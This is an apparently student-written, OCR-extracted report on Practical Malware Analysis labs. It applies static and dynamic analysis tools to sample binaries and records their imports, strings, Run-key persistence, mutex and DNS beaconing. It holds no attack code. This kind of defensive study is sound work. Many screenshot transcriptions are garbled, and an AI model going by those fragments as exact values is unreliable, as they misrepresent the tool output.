Malware Analysis
Practical No. 1

a- This lab uses the files Lab01-01.exe and Lab01-01.dll.

i- To begin with, we have Lab01-01.exe and Lab01-01.dll. At first glance, we can might
assume these associated. As .dlls can’t be run on their own, potentially Lab01-01.exe is used
to run Lab01-01.dll. We can upload these to http://www.VirusTotal.com to gain a useful
amount of initial information (Figure 1.1).
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Figure 1.1— VirusTotal.com reports for Lab01-01.exe and Lab01-01.dlIl.

Although the book states that these files are initially unlikely to appear within VirusTotal,
they have become part of the antivirus signatures so have been recognised. We currently see
that 44/73 antivirus tools pick up on malicious signatures from Lab01-01.exe, whereas
36/71 identify Lab01-01.dll as malicious.
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ii-We can use VirusTotal to identify more information, such as when the files were compiled.
We see that the two files were compiled almost at the same time (around 2010—12—19
16:16:19) — this strengthens the theory as the two files are associated. Other tools can also
be utilised to identify Time Date Stamp, such as PE Explorer (Figure 2.1).

Portable Executable Info ©

Header

Target Machine Intel 386 or later processors.
Compilation Timestamp 010-12-19 16:16:18

Entry Point 6176

Contained Sections 3

__1':1| | Address of Entry Point; [00401820 3 4 | Real Image Checksum:

Field Marne D ata Walue Description =
M achine 014Ch 286E

Mumber of Sections 003k

Time Date Stamp ADOE2FD3h | 1912/2010 16:1E:13
Fainter to Syrmbol T able Q0000000km

MHumber of Spmbols 00000000

Figure 2.1 — Date Time Stamps from VirusTotal.com and PE Explorer.

iii-When a file is packed, it is more difficult to analyse as it is typically obfuscated and
compressed. Key indicators that a program is packed, is a lack of visible strings or
information, or including certain functions such as LoadLibrary Or GetProcAddress —
used for additional functions. A packed executable has a wrapper program which
decompresses and runs the file, and when statically analysing a packed program, only the
wrapper program is examined.

& peiD 095 E=5E=R
File: |C:\Users\APT2358\Downloads'Practical Malware Analysis Labs\BinaryC D
Entrypoint: [00001820 EP Section: | .text | E
Fie Offset: [00001820 FirstBytes: [55,8B,EC,6A ||
Linker Info: [8.0 j Subsystem: [Win32 console | > |

! Microsoft Visual C++ 6.0

| Multi Scan I |Task1-'iewer| | Options I | About || Ewit I
W Stay on top E
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PEiD can be used to identify whether a file is packed, as it shows which packer or compiler
was used to build the program. In this case Microsoft Visual C++ 6.0 is used for both the
Lab01-01.exe and Lab01-01.dll (figure 3.1), whereas a packed file would be packed with
something like UPX.

iv- Investigating the imports is useful in identifying what the malware might do. Imports are
functions used by a program, but are actually stored in a different program, such as common
libraries.Any of the previously used tools (VirusTotal, PEiD, and PE Explorer) can be used
to identify the imports. These are stored within the ImportTable and can be expanded to see
which functions have been imported.

Lab01-01.exe imports functions from KERNEL32.d11 and MSVCRT.d11, with Lab01-01.d1l
also importing functions from KERNEL32.d11, MSVCRT.d11, and ws2_32.d11 (figure 4.1)

Imports Viewer
DllName | OriginalFirstThurnk | TimeDateStamp | ForwarderChain | Name | FirstThunk |
KERNEL32.d 00002088 00000000 00000000 000021C2 00002000
MEYCRT.d 000020E4 (00000000 (00000000 000021E2 0o0o202C
Thunk RYA | Thunk Offset | Thunk Yalue | Hint/Ordinal | APT Mame [fa
00002008 00002008 00002144 0165 IsBadReadPtr
0000200C 0000200C 00002154 01D& MapyiewOfFile E
00002010 00002010 00002164 0035 CreateFileMappingA
00002014 00002014 00002174 0034 CreateFilea =
00002018 00002015 00002138 =] FindClose
0000201C 0000201C 00002194 003D FindNextFileA L
00002020 00002020 00002144 0034 FindFirstFileA
00002024 00002024 00002186 0028 CopyFilea hé

Close I

Imports Viewer ]
DlName | CriginalFirstThunk | TimeDateStamp | ForwarderChain | Mame | FirstThunk |
KERNEL32.dl 000020AC 00000000 00000000 0000214 00002000
w52 _32.dl 0000200C 00000000 00000000 (0000215C 00002030
MSYCRT.dl 000020C4 00000000 (00000000 00002172 00002018
Thunk RVA i Thunk Offset i Thunk Value i Hint/Ordinal i AP Mame
00002000 00002000 00002118 0236 Sleep
00002004 00002004 0000211E 0044 CreateProcessA
00002008 00002008 00002130 0a3F CreateMutexA
0000200C 0000200C 00002140 01ED OpenMutexA
00002010 00002010 00002108 0018 CloseHandle

Close I
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e KERNEL32.d11 is a common DLL which contains core functionality, such as access
and manipulation of memory, files, and hardware. The most significant functions to
note for Lab01-01.exe are are FindFirstFilea and FindNextFilea , which
indicates the malware will search through the filesystem, as well as open and modify.
On the other hand, Lab01-01.dll most notably uses S1eep and CreateProcessA.

e WSs2 32.d11 provides network functionality, however in this case is imported by
ordinal rather than name, it is unclear which functions are used.

e MSVCRT.d11 imports are functions that are included in most as part of the compiler
wrapper code.

Assessing the combination of imported functions, so far it could be assumed that this
malware allows for a network-enabled back door.

v-Along with Lab01-01.exe and Lab01-01.dll, there are other ways to identify malicious
activity on infected systems. Disassembling Lab01-01.exe in PE Explorer shows us a set of
strings around kerne132.d11 which is supposed to be disguised as the common
kernel32.d11 — note 1 rather than I (figure 5.1).
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Figure 5.1— Disassembly of Lab01-01.exe and Lab01-01.dll using PE Explorer

vi- Further investigating the strings, however for Lab01-01.dll, it is apparent that there is

an IP address of 127.26.152.13, which would act as a network based indicator of malicious
activity (figure 5.1).
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vii-Bringing all the pieces together, there can be an assumption made that Lab01-01.exe,
and by extension Lab01-01.dll, is malware which creates a backdoor. VirusTotal provided
indication that the files were malicious, and utilising this or PE Explorer it was established
that the two were likely related, with the .dll is dependant upon the .exe. The files are not
packed(as identified by PEiD), small programs, with no exports, however specific imports
which indicate that Lab01—01.exe might search through directories and create/manipulate
files such as the disguised kerne132.d11, as well possibly searching for executables on the
target system, as suggested by the string exec within Lab01-01.dIL.

b- Analyse Lab01-02.exe.

i-As with the previous lab, uploading Lab01-02.exe in VirusTotal.com shows us that 47/71
antivirus tools recognise this file’s signature as malicious (figure 1.1).

47 engines detected this file
. SHA-256 €876a332d7dd8da331cb8eee7ab7bf32752834d4

File name Lab01-02.exe
File size 3 KB
i B Last analysis 2019-04-30 19:34:220 UTC
(47/71) .
= . Community score -168

Figure 1.1— VirusTotal.com reports for Lab01-02.exe.

ii-We can identify whether the file is packed, either through VirusTotal.com or PEiD. A file
which is not packed will indicate the compiler (eg, Microsoft Visual C++ 6.0), or the method
in which it has been packed. Initially, PEiD declared there was Nothing found *, however
after changing from a normal to deep scan, it has been determined that the file has been
packed by UPX (figure 2.1).

File: | C:\Users\APT238 \Downloads\Practical Malware Analysis Labs\BinaryC | ...

Entrypoint: 00005410 BP Section: |UPX1 B
File Offset: 00000210 FirstBytes: [60,BE,00,50 | > |
Linker Info: 6.0 Subsystem: [Win32console | > |

JPX 0.8%9.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
Multi Scan | Task Viewer | Ciptions | About | Exit |
[ Stay on top | -

Figure 2.1 — PEiD Deep scan
e Normal scan is at the Entry Point of the PE File for documented signatures.
e Deep scan is the containing section of the Entry Point
e Hardcore scan is a complete scan of the entire file for signatures.

Another way of identifying whether the file has been packed or not, is via the Entry Point
Section (EP Section) — these are upx0, UPx1 and UPx2, section names for UPX packed files.
UPx0 has a virtual size of 0x4000 but a raw size of 0 (figure 2.2), likely reserved for
uninitialized data — the unpacked code.
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Section Viewer =)
Mame V. Offset | V. Size R. Offset | R. Size Flags
UPX0 00001000 00004000 00000400 Q0000000 EQODO0S0
UP¥1 00005000 00001000 00000400 00000800 EQODO040
UP¥2 O0o0&000 0001000 JO000ADD 00000200 COooo040

Figure 2.2 — PEiD PE Section Viewer

We are able to unpack the file directly within PE Explorer, with the UPX Unpacker Plug-in.
When enabled, this automatically unpacks the file when loaded (Figure 2.3).

Plug-inz
acker Plug-in:

Plug-in:

Plug-in:

Plug-in:

iii- When the file is unpacked, we can investigate strings and imports to see what the
malware gets up to. From the Import Viewer within PE Explorer, we see there are four
imports (figure 3.1).

e KERNEL32.DLL — imported to most programs and doesn’t tell us much other than

suggesting the potential of creating threads/processes.

e ADVAPI32.dll — specifically createservicen is of note.

e MSVCRT.d1ll — imported to most programs and doesn’t tell us much.

e WINNET.d1l — specifically InternetOpena and InternetOpenURLA are of note.

w PE Explorer - C:\Users\APT238\Downloads\Practical Malware Analysis Labs\BinaryCollection\ Chapter_1L'\Lab01-02.exe = e 3
Eile View [ ool Help
- W OES @ i | TR e
| 8| =&
FWa Hame R, Hirit Hame
0040216Ckh KERMELZ2.DLL 00402070k D000k IrtemetOpenl il
004021750 ADVARISZ dI 0040:2074h 0000 Intemetlpand,

00402186k  MSVCRT.dI
00402191h  WIMINET dil

Library desciiption: Internet Extensions for Wind2

Syntax Details
function

ackzun: ODOD4IF%H

Far Help, press F1

Figure 3.1 — Import Viewer within PE Explorer

iv-So far, this is suggesting that the malware is creating a service and connecting to a URL.
Checking out the st rings of the file in the Disassembler, we see ‘Malservice’,
‘http://www.malwareanlysisbook.com’ and ‘Internet Explorer 8.0’ (figure 3.2). These
potentially act as host or network based indicators of malicious activity, though the service to
run, URL to connect to, and the preferred browser.
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Figure 3.2 — Disassembler Strings

C. Analyze the file Lab01-03.exe.

i- Once again, uploading to VirusTotal.com indicates that Lab01-03.exe is malicious due to
58/69 antivirus tools currently recognising signatures.

i1 Scanning this with PEiD demonstrates that Lab01-03.exe is packed with FSG 1.0 (figure
2.1 left). This is much more difficult to unpack than UPX and must be done manually.
Currently we are unable to unpack this. Check out Lab 18-2 (Chapter 18, Packers and
Unpacking) to unpack in OllyDbg.

[ PEID w0 95 o] @ [

File: |C:\Users\APT233\Documents\Practical Malware Analysis Labs\BinaryC | ...

Entrypoint: | Q0005000 EP Section: ﬂ
File Offset: | 00000EDD First Bytes: [B8,00,01,40 | >
Linker Info: (0.0 Subsystem: |Win32 console ﬂ

F5SG 1.0 -= dulekfxt
Multi Scan Task Viewer Ciptions | About | Exit |
v Stay on top wa | | -»

Section Viewer =]

Mame V. Offset | V. Size R. Offset | R. Size Flags
00001000 Q0003000 00000000 Q0000000 COO000ED
00004000 Q0001000 00001000  0000028C COO000ED
00005000 Q0001000 00000EQD Q0000200 COO000ED

Close

Figure 2.1 —PEiD showing Lab01-03.exe packed with FSG 1.0 (left) and Section Vlewer (right)

Other indicators that the file is packed, are the missing names in the EP Section viewer
(Figure 2.1 right), as well as the first section having a virtual size of 0x3000 and a raw size of
0 — again most likely reserved for the unpacked code.
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iii- Although Lab01-03.exe is currently unpackable, we can still try to identify any imports
to get an idea of what the file might do.

W Dependency Walker - [Lab01-03] = | |
1 ™2 File Edit WView Options Profile Window Help - || 5] =
1= & el | &= HE | & @ EE BB R
| =1 EI LABOL-03.EXE PI f Orelinal * Hint Function
) [E= R W KERMEL32.DLL [~ TS 0 (00000 ) | LoadLibrarya
) Bl | NFA 0 (00000 ) | GetProcAcdress
]
]
]
: L m »
E E Ordinal Hint Function =
] (=] 1 {00001} 42 (00 2 A) | BazeThreadInitThunk (o
1 E 1% 2{0:0002)| 754 (0x02F2) | InterlockedPushListSList
] E 13 300003 Q0000 ) | AcguireSEWLeckExelusive
] E 1% 4 (00004 1 {00001 ) | AcquireSRWLockShared
1 (=] S 0005) 200 02]) ] ActivateActTtx -
« nr L
i Module File Time Stamp Link Time Stamp File Size Attr, Limk =
1 | API-M5-WIN-CORE-DEEUG-L1-1-0.DLL 140772009 02:03 14,07 /2009 02:04 3.072 | HA o001
O | API-MS-WIN-CORE-ERRORHAMNDLIMNG-L1-1-0.DLL 14/07/2009 02:03 14,/07 /2009 02:04 3,072 | HA 0:00
O | API-M5-WIN-CORE-FIBERS-L1-1-0.0LL 14/07/2009 02:03 14,07 /2009 02:04 3,072 | HA 000
11 O | API-MS-WIN-CORE-FILE-L1-1-0.0LL 14/07/2009 02:03 14,/07 /2008 02:04 5120 | HA 0:00
O | API-MS-WIN-CORE-HAMDLE-LL-1-0.0LL 14/07/2009 02:03 14,/07 /2009 02:04 3,072 | HA 000
- el deaimalil ol apsaogienriE S e e R i3 peiaped] B et
I N m | v

Figure 3.1 — Dependency Walker for Lab01-03.exe

Loading the file into PE Explorer unfortunately shows a blank Import Table, and running it
in the Disassembler is also unhelpful. Another useful program is Dependency Walker, which
lists the imported and exported functions of a portable executable (PE) file (figure 3.1).

Here, we can see that Lab01-03.exe is dependant upon (and therefore imports)
KERNEL32.DLL. The particular functions here are LoadLibraryA and GetProcAddress,
however this does not tell us much about the functionality other than the fact the file is
packed.

iv- We are unable to unpack the file the visible imports are uninformative, and we can’t see
any strings in PE Explorer (figure 4.1), it is difficult to suggest what the file might do, or
identify any host/network based malware-infection indicators.

4|

Unprocessed data | view 1 | View2 | View 3 | View 4]

00404000: AC EC 24 6A 01 FF 15 48 20 40 £0 85 €O OF 7C ...]
0040s00c:  [FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 ...]

0040510%:  [00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 0000 ...1

Figure 4.1 — PE Explorer showing no strings information for packed Lab01-03.exe
D- Analyze the file Lab01-04.exe.

i- Lab01-04.exe is recognised as malicious, with 53/72 engines detecting malicious
signatures (Figure 1.1).

ii- PEiD shows us that the file is unpacked (and compiled with Microsoft Visual C++ 6.0)
(figure 2.1). Likewise, the EP section shows the valid file names as well as actual raw sizes
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for them all, rather than upx0-3 or blanks, as well as a raw size of 0, typically seen for
packed files (figure 2.1). As this is not packed, there is no need to unpack it.

& PeiD v0.95 ERERES

File: ,C:';.I_Isers'-,;E.P'T23B'iDncuments'-,Pracﬁcal Malware .ﬁ.naiysis Lai:us";ﬁinaryc {REEE

Entrypoint: [000015CF EP Section: [ text " [=]
File Offset: [000015CF FirstBytes: [55,8BEC,6A | = |
Linker Info: |8.0 Subsystem: [Win32 GUI ij

Microsoft Visual C++ 6.0
Mult SE% 1 Task '-.-'iewer| [ .O.ﬁﬁans | about | Exit |

[+ Stay on top il _::i

Figure 2.1 — PEiD showing Lab01-04.exe is not packed and Section Vlewer

iii- Loading Lab01-04.exe into PE Explorer, we initially see that the pate Time stamp is
clearly faked (figure 3.1). At the time of writing it looks as though the file was compiled
months in the future, and it's not immediately clear what the real stamp should be.

Time Date Stamp

Figure 3.1 — Date Time Stamp of Lab01-04.exe

iv- Switching to the Import Viewer within PE Explorer, we see that there are three of the

common .d11 imported (figure 4.1).

| ==

A, Mame A, Hint Mame

0040228Eh  KERMELZZ.dI 00402000h  0042h OpenProcessT oken
004022E0h  ADWVAPIZ2.dI Il ooa02004k LookupPrivilegeh/alusd,
004022F4h  MSWCRT.dI 00402008k 0017h AdiustT okenPrivileges

Library description: Advanced Win32 Base AP
Syntay Details —
function LockupPrivilegeValue (lpSystemName, lpName: PAnsiChar: war lpLul
external 'advapi32.dll' name 'LeockupPrivilegeValuelA' index 281:

e KERNEL32.d11 — Core functionality, such as access and manipulation of memory,

files, and hardware.

e ADVAPI32.d11 — Access to advanced core Windows components such as the Service

Manager and Registry. The functions here look like they’re doing something with

privileges.

e MSVCRT.d1l — imports are functions that are included in most as part of the compiler

wrapper code.
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Assessing the combination of imports, there are a few key ones which can point us in the
direction of the program’s functionality.

e SizeOfResource, FindResource, and LoadResource indicate that the file is
searching for data in a specific resource.

e CreateFile,WriteFile and winExec suggests that it might write a file to disk and
execute it.

e LookupPrivilegeValueA and AdjustTokenPrivilages indicates that it might
access protected files with special permissions.

v- Looking at the strings is often a good way to identify any host/network based malware-
infection indicators. Again, this can be done through the Disassembler in PE Explorer
(Figure 5.1)

a0403100:

Figure 5.1 — Lab01-04.exe strings within PE Explorer Disassembler

The strings of note here look like ‘\system32\wupdmgr.exe’, ‘psapi.dil’ and ‘\winup.exe’ —
potentially these are the files which the .d11 identified, create, or execute.
‘\system32\wupdmgr.exe’ might correlate with KERNEL32.d11 GetWindowsDirectory
function to write to system directory and the malware might modify the Windows Update
Manager.

This gives us some host-based indicators, however there is nothing apparent regarding
network functions.

vi- Previously overlooked in PEiD’s Section Viewer, there is a resources file . rsrc —The
Resource Table. This is also seen in PE Explorer’s Section Headers.

10



m Resocurce Hacker - Lab01-04 .exe

File Edit \iew Action Help

Malware Analysis
B8 R ™~

BIM : 101 : 1033

il

4
a
R

4000 / 4060

||} BIN 00004060 (| 4D 00 00 04 Q0 00
i--iqfif 101 : 1033 000o04a7o (B2 08 08 40 0o 0o
00004080 | oo 00 o0 00 00 0o
00004020 (00 00 00 00 00 00
00004020 : & 01
000040B0 7 20
00004000 H 6E
D OR 24 00 00
7 g B &2
a7 i 5C
TE & BEg TF
47 &c 52 6% 83
o0 00 00 00 a0 0o
00 00 00 50 45 00
i 00 00 00 0o 0o
03 00 00 00 20 00
| 32 00 00 00 20 OO0
Selection - Offset:

4C Length: 29

Figure 6.1 — Resource Hacker identifying Lab01—04.exe’s binary resource

We are able to open this within Resource Hacker, a tool which can be used to manipulate
resources within Windows binaries. Loading Lab01-04.exe into Resource Hacker identifies
that resource as binary and lets us search through it. (figure 6.1)

e. Analyze the malware found in the file Lab03-01.exe using basic dynamic

analysis tools.

i-This dynamic analysis starts with initial static analysis to hopefully gain a baseline
understanding of what might be going on. Straight in with PEiD and PE Explorer we see that
Lab03-01.exe is evidently PEncrypt 3.1 packed, and only visible import of kerne132.d11
and function ExitProcess(figure 1.1). Also, there are are no apparent strings visible.

[ rei0 095 =] = |

Fhe: L \lsers | APT 218\ Dioouments \Practcal Makbvare Analyss Labs'Bnaryl | ...

Entrypaint: | 00000208 EP Secbon: |, bext :-]

File Offcet: (00000208 FretBytes: [88,00,0440 | =]

Lirker Info: [5.12 Subsystem: | Win32 GUI .b.] ﬂ B

[ Encrypt 3.1 Final -> gurikeade] B,
Encryp oo
Muti Scan | | Taskvewer | | options | abaut Ext |

be' Shey on top =] =]

DD2D0254h kesn=l32.dl

Ava Hint
004002000 00B0h EsxitFrocess

[ ame Hame

Figure 1.1 — File Lab03-01.exe is packed, and has minimal imports

It’s difficult to understand this malware’s functionality with this minimal information.
Potentially the file will unpack and expose more information when it is run. One thing we
can do is execute st rings to scan the file for UNICODE or ASCII characters not easily
located. Doing this we can identify some useful information.

There is a bit of noise here which have been removed, and the main ones are highlighted in

red (table 1.1).

11
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Not Important

karnel2d.dli function ends a process and all its threads

Imported dil Windows Sockets Library provides network functionali

Achapid2dilis an API services library that supparts securily and registry calls,

I.IEF‘? DLL the s USER : that creates and [i]
standard elements of the Windaws wser interlace,

StubPath : l.u!lall.' iuth can b anything

Soﬁware\Mluosolue sep\lst.alled Componentsy, Minlln,I Important reglstry d|l&|"f

‘www.practicalmalwareanalysis.com In, Ibl y what the malware will try becon to

VdenDIim ih imp -- = t -

Possibly important

SOFT A\ \ \Explorer\shell Folders ’ registry directory

Table 1.1 — Processed output of st rings function on Lab03—-01.exe

Looking at these, we can make some rough assumptions that Lab03—-01.exe is likely to do
some network activity and download and hide some sort of file in some of the registry
directories, under one of those string names.

ii- To identify host-based indicators, we can make assumptions from the previous strings
output, such as potentially attaching itself to
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver — however, it is
more useful to perform dynamic analysis and see what it’s doing. Take a snapshot of the
VM so you’re able to revert to a pre-execution state!

Set VM networking to Host-only, and manually assign the preferred DNS server as iNetsim,
or configure the DNS reply IP within ApateDNS to loopback, and set up listeners using
Netcat (ports 80 and 443 are recommended as a starting point as these are common).

Clear all processes within Procmon, and apply suitable filters to clear out any noise and find
out what the malware is doing. Initially filter to include Process Lab3—1.exe so we can see
its activity. Likewise, start Process Explorer for collecting information about processes
running on the system.

= Process Monitor - Sysinternals: www.sysinternals.com

File Edit Ewvent Fiter Tools Options Help
SEH ABE > A S T M5 ok Ao m
Time... Process Mame PID Operation Path b
8:531 ab03-01 exe iz s Start

8:591... T Lab03-01.exe 2100 Thread Create

2:59:1... :|Labl:l3vl:l1 e 2100 QueryMamelnfo... C:ADocuments and Settings\Malbware £ h
8591, —|Lab03-01 exe 2100 &% Load Image C:\Documents and Settings\Malhsare £ L.
8:531... —Lab03-01.exe 2100 Load Image C:AWINDDWS \system 324w nidll dil

8531 .. :[Lahl:l?rm .ere 2100 B QueryN amelnfo... C:\Documents and Settings\Malware £ H
8:591... —_|Lab03-01 exe 2100 [k CreateFile C:wWINDDWS \Prefetchi\LABO3-01 Ex |
8:531... :Lahl:B—Eﬁ LEHE 2100 @ Reglpenkey HELMAS oftwaretMicrosofts\Windows M
8:5%1... —|Lab03-01.exe 2100 ‘He;ﬂpenl(ey HELMAS pstemiCunentControlSet\Conl |
8:531... —1Lab03-01.exe 2100 @& Regluenialue HKLMASpstemi\CunentControlS et\Conl i
8:59:1... :]Lahﬂ?rm.eue 2100 @ RegCloseKey HELMAS pstemiCurnrentControlSet\.Conl [
8531 .. :lLaleB-DI LeHe 2100 5 CreateFile C:ADocuments and Settings\Malware £ | 3
8:53:1.. :|Lahl]3-l]1 exe 2100 Bk FileSystemControl C:4D ocuments and Settings\Mahware £ il
8:591... —|Lab03-01.exe 2100 5\ QuernyOpen C:\Documents and Settings‘\Mabsare £ i
8:591... —_|Lab03-01.exe 2100 &% Load Image CAWINDOWS Asystern32hkemel 32 dil |
8:5%1... —Lab03-01.exe 2100 @2 Reg0penkey HELMA\SpstemtCunentControlSet\Cort €
8:531... —Lab03-01.exe 2100 #ERegQuenialue HKLMASystemsCurrentControlS et\Conl i
8531 —LabD3-01 exe 2100 @EReqClosekey  HKLMASystermiCunentControlSet\Conl iy
8:5931... :[Lahl:l3—l:l1 LeHe 2100 @& Reg0penkey HELMAS oftwearetMicrosoft\Wwindows M H
8:591... —|Lab03-01.exe 2100 ‘Heg:lpenl(ey HELMAS pstemiCunrentControlSet\Conl 3
8:59:1... T Lab03-01.exe 2100 ‘;Flegluary\/alue HELMAS pstemsCumentControlSet\Conl s

< i | >

Showing 653 of 31,550 events (2.0%) Backed by virtual memory

Figure 2.1 — Procmon of Lab03-01.exe

The first thing we notice when executing Lab03—01.exe is the series of Registry Key
operations (Figure 2.1). This doesn’t tell us too much about what the malware is doing

12
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specifically however, it’s always useful to see an overview of the activities. We can filter this
further to only show writeFile and RegSetvalue to see the key operations (figure 2.2)

& Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help

FE ARPE TAD B A48 #&BLA2E

Time... | Process Mame PID | Operabon Path Detad

8591, =Lab03-0l.exe 2100 [k \wiiteFile CowINDOWS epstam32 s I 2105 axe Oitset; 0. Lengihc 7,168
2691~ |Lab03.01.exe 2700 ﬂHeg‘SeNdJn HELM\SOF TWARE \Microsoft VW ndows\Currenflersion’\Run'WideoDmwer  Type: REG_5Z, Length: 510, Datd

Figure 2.2 — Procmon of Lab03-01.exe, filtered for WriteFile and RegSetValue

We can investigate these operations further, and we see that they are related. First, a file is
written to C: \WINDOWS\system32\vmx32to64 .exe (nofte, this filename is a string we 've
identified as part of the initial static analysis) however, this appears to be set to the registry
of HKLM\ SOFTWARE \Microsoft\Windows\CurrentVersion\Run\VideoDriver (another
identified string!). This is a strong host-based indicator that the malware is up to something
(Figure 2.3). Most likely the malware is intended to be run at startup.

&7 Event Properties A E '
Event | Process | Stack
Date: 5/25/2019 §:59:13,4559056 PM
Thread: 77z
Class: File System
Operation; WriteFile
Result: SUCCESS
Path: C:'l.WINDOWS'l.syitemSZ'l,vmxSZtoM.exe
Duration: 0.0000869
Offset: 0
Lenath: 7,168
& Event Properties . E '

Event | Process | Stack

Date: 5/25/2019 6:59:13,4566088 PM

Thread: 772

Class: Registry

Operation; Regsetvalue

Result; SUCCESS

Path: HKLMISOFTWARE \Microsoft)Windows\CurrentYersion|Runivideol
Duration: 0.0009046

Type: REG_SZ

Length: 510

Data: CAWINDOWS!system32\vmx32to64, exe

Upon further investigation, it appears as though files vmx32to64.exe and Lab03—-01.exe
share the same hash (figure 2.4), indicating the malware has established persistence through
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creating and hiding a copy of itself, as well as to execute at startup via the videoDriver
registry.

uments 2 fettings“Malwvare Analysisicertutil —hashfile C:“WINDOWS:
.1 LB

2b 77 df 73 78 B1 b9 ab |
—hashfile command completed succ

ycuments and Settine

al H-'.u.ll..m.r-u. F Lahs<BinaryCol
73 Y8 81 b? ab BF di 4F ai

command completed successfully.

Figure 2.4 — Lab03-01.exe sharing the same SHA1 Hash as vmx32to64.exe.

Further host-based indicators can be identified through analysis of Process Explorer, to show
which handles and DLLs the malware has opened or loaded.

#2 Process Explorer - Sysinternals: www. sysinternals.com [ATP238-FBD20C55Walware Analysis]... ._@E

File ©Options Wew Process Find Handle Users Help
H & = = (5 % & |
Piocess CcPU Frivate Bytes Working Set PID Desciphon Comparmy Mame
- _j SITES S BN 188 K 408 K 352 Windowes NT Session Mana .. Microzoit Corpors
Y csss.ene 1.852K 4648 K 576 Chent 5Server Runtime Process Microsoft Conpor:
= n winlogor. exe 6.680 K 5,184 K &00 Windows HNT Logon Applcat... Microsoft Conpore
= i explorer.exe 0.95 23.232K 076K 1492 “windowes Explorer Microsoft Conpor:
[ ctfmon.exe 1TEK 3844 K 1852 CTF Loader Microsoft Conpore
2y Procmon exe 12472 K S.104 K 2640 Process Monitor Sysintemmals - v
2 procexp.exe 0.98 19236 K 8792 K 188 Sysntemals Process Explorer  Sysinbemals - waw
| apateDMN5_exe 22 640 K 19588K 3616
[ LabiD3-01.exe | 820 K 22B8K 2100
— Ml Wireshark exe E.86 1MLI2K 295492 K 3352 Wieshak The “Wireshark d
MMl durmpcap.exe 1.884 K 4.940K 1684 Dumpcap The wireshark d
-
< >
Type Mame -~
File WDevice\Tep
LT HELM
Ky HELMASY'S TEMAControlS et \Sermvices \\WnSock 2\P arameters\Protocol_Catalog3
Eoey HELMASYS TEMAControlS etD01 \ServicesWWinSock 2\ Parameters'iM ameS paceCatalogS
Keyp HELMASYSTEMAContralSetD07 YServices\ T cppilinkage
Foey HELMASY'STEMYControlS et \Semvices\T cpptParameters
Foay HELMASY'STEMAControlS etD0N WServices\NetB TP arameters\Urntedfaces
Key HELMASYSTEMYControlS et00 \Sernvices\NelB T\ Parameters
E.epedE vent ‘WKernelD bpectsiCritS ecOutDifd emoryE wenk
M Ltant B aseM amedDbject s\\WinhDL32
Semaphore ‘B azeM amedObjects\chell {348F1432-4340-11D1-BCEB - SO312E1}
Thiead LabD3-07. exe{2100) 772

Figure 2.4 — Process Explorer showing Mutex WinVMX32

Process Explorer shows us that Lab03—01.exe has created at mutex of winvmMx32 (again,
another identified string) (Figure 2.4). A mutex (mutual exclusion objects) is used to ensure
that only once instance of the malware can run at a time — often assigned a fixed name. We
also see Lab03—01.exe utilises ws2 32.d11 and wshtcpip.dll for network capabilities.

iii-We’re able to analyse network activity either locally on the victim, or utilising iNetSim. I
have demonstrated both, having configured DNS to either the iNetSim machine or loopback
(for the netcat listeners). Turning our attention to ApateDNS and our iNetSim logs, we see
some pretty significant network-based indicators of this malware activity. ApateDNS show
regular DNS requests to www.practicalmalwareanalysis.com every 30 seconds (figure
3.1).
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[ ApateDNs | Bli=]

Capture Window | DMNS Hesx View

Time D ornain Reqguested DMNS Retur. ..
21:11:36 vivuww, prachic almalwareanalysis, com FOUMD
21:12:06 wawe practicalmalware analysiz. com FOLUMND
21:12-36 v practicalmalware analysis. conm FOUMD
Z21:13:.06 wavwe, practicalmalware analysis, com FOUMD
21:13:36 v practicalmalware analysis. com FOUMND
21:14:06 vy practicalmalwareanalysis. com FOUMD
21:14:36 v, practicalmalwareanalysis. com FOUMD

+] Uzireg 192.168.56. 102 &= return DMNS |PY

] DMNS set to 12700001 on Inmte=l[R] PROA000 T Server Adapter - Packet Scheduler Miniport
+] Sending valid DMNS rezponse of fiust request.

+] Server starbed at 21:14:32 successfully

[
[
[
[

DMNS Reply IP [Default: Curent Gatwap/DNS) 192.168.96.102 5
Stant Serves
# of NXDOMAIMN"s o e ——

Selected Interface: IntellR] PRO/1000 T Server Adapter - Packet Schedu s L SIOES 6 red |

Figure 3.1 — ApateDNS showing DNS beaconing

The ApateDNS capture suggests the malware is beaconing — possibly to either to fetch
updates/instructions or to send back stolen information.

1876.txt

Real start date
ilated start date
Time difference on startup : none

t simulated date i
connection, tupe: A, C© LT sted name: wuw,pract icalmalwareans lus

Figure 3.2 — iNetSim logs

Also, the associated iNetSim logs show a recognised DNS request for the malicious website,
providing further indication of beaconing intent.

Finally, the Netcat listener (with DNS configured for loopback) has picked up a transmission
on port 443. This shows a series of illegible characters emitted from the malware (Figure
3.3). On subsequent executions or periodic ticks, the transmission is unique.

C:\Documents and Settings“Malware Analysis>nc -1 —p 443 .5
=95 L5 lHewoed={|thiwpEx |Git |2aB{|5wsS7It 180 1L/ ',‘!! gin £ 5 7

- THEeeACMySCewwwwEEEY o o) Jt I b I S8hspdys3.https1l.1uP d B8R
L L T )

Figure 3.3 — lllegible characters transmitted by Lab03-01.exe.

The combination of host and network-based indicators provide significant grounding to make
assumptions regarding the malware’s activity.

o From Static Analysis, not a lot was uncovered other than the output of what might
use as hard-coded parameters.
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e Dynamic Analysis to uncover further host-based indicators show that the malware
has replicated and masked under another file name has associated with the registry
for execution on startup and has network functionality.

o Network-based activity is identified through capturing periodic DNS requests, as well
as intercepting random character transmissions of HTTP & SSL

f. Analyze the malware found in the file Lab03-02.dll using basic dynamic analysis
tools.

i- At first glance, we have Lab03—02.dll. As this is not a .exe file, we are unable to directly

execute it. rund1132.exe is a windows utility which loads and runs 32-bit dynamic-link
libraries (.dll).

First, however, we likely require any exported functions to pass in as an argument. This can
be identified through PE analysis, which shows us a set of exported and imported functions.
The imported functions (Figure 1.1) give us an idea of the .dII’s capabilities. Speculation into
these might suggest there will likely be some networking going on, as well as some file,
directory and registry manipulation. Functions included as part of ADVAPT32.d11 suggests
the malware may need to be run as a service, which is backed up by Lab03-02.dIl’s exports
(Figure 1.1)

| & | =

R, M ame Hirt M ame
100055020 KERMEL3Z AN Openserviced,
100056B0R  ADWAPIZ2 Il 100050040 0078h DeleteService
100056CCH WwWS2_32.dl 100050080 0072k Fealpenk.eyE =,
100057600 “wIMIMET. Al 1000500CH  007Bh Regluentalusk w
